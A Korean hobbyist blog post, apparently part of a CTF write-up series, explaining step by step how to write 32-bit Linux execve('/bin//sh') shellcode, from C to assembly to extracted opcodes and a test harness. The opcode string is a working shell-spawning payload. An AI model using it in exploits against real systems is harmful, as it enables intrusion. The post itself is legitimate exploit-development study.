시작
안녕하세요 :D
1주일 동안 푹 쉬었습니다!! 시험 끝났는데 놀아야죠 ㅎㅎㅎ
오늘은 심심해서 쉘코드를 공부해보았어요. 이게 생각보다 어려운 녀석인 줄 알았는데 되게 간단하더라구요.
ROP나 SROP에서 많이 보였던 친구들이 나와서 반가웠습니다!!
시작해보죠
ShellCode
처음에 쉘코드는 똑똑이 분들이 만들어놓은 암호 코드?? 이런 것인줄 알았습니다.
딱 봐도 더럽게 생겼으니깐ㅎㅎ.. 근데 이게 삽질을 하다 보니 보이는 것들이 많더라구요.
일단 우리가 베이스로 깔고 갈 C 코드는 다음과 같습니다.
#include <stdio.h>
int main() {
char *binsh[] = {"/bin//sh", 0};
execve(binsh[0], &binsh, 0);
}
gcc로 -m32
옵션을 주어 32bit로 컴파일해보면 잘 실행되는 것을 확인할 수 있습니다.
root@goorm:/workspace/LCH_Server/posting/Lets_Make_Shellcode# ./shell
# whoami
root
execve(binsh[0], &binsh, 0);
이 코드를 어떻게 어셈으로 바꾸냐!!
32bit니깐 스택에 push push 하면 되겠죠??
.global _start
_start :
xor %eax, %eax #SET eax 0
push %eax #push NULL
push $0x68732f2f #push "//sh"
push $0x6e69622f #push "/bin"
mov %esp, %ebx #ebx = "/bin//sh"의 주소
xor %edx, %edx #SET edx 0
push %edx #push NULL
push %ebx #push "/bin//sh"의 주소
mov %esp, %ecx #ecx = "/bin//sh"의 주소를 가리키는 주소
movb $0x0b, %al #eax = 11
int $0x80 #syscall
우선 xor로 eax
를 초기화한 후 스택에 넣어줍니다.
그리고 스택에 /bin//sh
를 넣어주네요. 왜 //sh
를 쓰냐면 레지스터의 크기에 맞게 8 bytes를 맞춰주기 위해서입니다!!
이렇게 되면 esp
는 /bin//sh
의 시작 주소를 가리키겠죠? 얘를 ebx
에 저장합니다.
다음으로 edx
레지스터를 0으로 초기화, 스택에 쌓아줍니다.
또 스택에 ebx
를 넣는데요, 얘는 문자열의 시작 주소를 가리키는 포인터였죠?
이제 esp
는 ebx
를 가리키는 포인터, 즉 문자열의 시작을 가리키는 주소의 주소, 더블포인터!! 가 됩니다.
이 친구를 ecx
에 넣어줘요.
그 이후 SROP에서 지겹게 했던 int 0x80
으로 syscall합니다.
자.. 스택은 다음과 같이 형성됩니다.
---------------------
0xbfff1008 ESP (=0xbfff1010 =ECX)
---------------------
NULL
---------------------
"/bin" 0xbfff1008 (=EBX)
---------------------
"//sh"
---------------------
NULL
---------------------
execve(binsh[0], &binsh, 0);
형태로 쌓아준 거에요.
얘를 잘 컴파일 해볼게요!!
as shellcode.s -o shellcode.o --32
: 오브젝트 파일로 컴파일합니다. 32bit 옵션을 줘야지 push 연산이 가능해요!!
ld shellcode.o -m elf_i386 -s -o shellcode
: 실행 파일로 컴파일합니다. 마찬가지로 32bit 옵션을 주었어요.
root@goorm:/workspace/LCH_Server/posting/Lets_Make_Shellcode# ./shellcode
# whoami
root
잘 실행이 되네요. 얘를 objdump를 통해 opcode를 추출하면 끝입니다!!
root@goorm:/workspace/LCH_Server/posting/Lets_Make_Shellcode# objdump -d ./shellcode
./shellcode: file format elf32-i386
Disassembly of section .text:
08048054 <.text>:
8048054: 31 c0 xor %eax,%eax
8048056: 50 push %eax
8048057: 68 2f 2f 73 68 push $0x68732f2f
804805c: 68 2f 62 69 6e push $0x6e69622f
8048061: 89 e3 mov %esp,%ebx
8048063: 31 d2 xor %edx,%edx
8048065: 52 push %edx
8048066: 53 push %ebx
8048067: 89 e1 mov %esp,%ecx
8048069: b0 0b mov $0xb,%al
804806b: cd 80 int $0x80
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xd2\x52\x53\x89\xe1\xb0\x0b\xcd\x80
우리의 쉘코드가 완성됐습니다!!!
#include <stdio.h>
char shellcode[] =
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
"\xd2\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
int main() {
(*(void (*)()) shellcode)();
}
root@goorm:/workspace/LCH_Server/posting/Lets_Make_Shellcode# gcc test.c -z execstack -m32 -o test
root@goorm:/workspace/LCH_Server/posting/Lets_Make_Shellcode# ./test
# whoami
root
스택 실행권한을 준 뒤 컴파일하면 정상적으로 쉘이 실행됩니다!! 재밌네요 ㅎㅎㅎ
7/15 추가
문득 ‘익스 때릴 땐 execve("/bin/sh", 0, 0)
으로 넣지 않나?’ 란 생각이 들었습니다.
굳이 함수 원형대로 인자를 넣지 않고 2, 3번째엔 NULL을 떄려박았는데.. 이렇게 해도 쉘이 떨어질까요?
.global _start
_start :
xor %eax, %eax
push %eax
push $0x68732f2f
push $0x6e69622f
mov %esp, %ebx
xor %ecx, %ecx
xor %edx, %edx
push %ecx
push %edx
movb $0x0b, %al
int $0x80
root@goorm:/workspace/LCH_Server/posting# ./test
# whoami
root
잘 되네요 ㅎㅎ 두 코드의 미묘한 차이점은 더 알아봐야 할 것 같습니다!!
마무리
쉘코드, 만들었습니다!! 생각보다 간단한네요 ㅋㅋㅋㅋ
execve()
함수가 살짝 복잡하지만 더블포인터라는 사실만 알고 있다면 쉽게 이해가 갑니다.
감사합니다 :D
'CTF_Write_UP > etc' 카테고리의 다른 글
HackCon CTF pwn binary (0) | 2019.08.23 |
---|---|
[heap] 힙 영역을 ARABOZA (0) | 2019.07.20 |
[Facebook CTF 2019] Facebook CTF 시작!! // 후기 (0) | 2019.06.01 |
[BOF] rop 알았으면 srop까진 해야지 (ver. 32bit) (0) | 2019.05.18 |
2019 DEFCON 살짝.. 건드려보기 (0) | 2019.05.12 |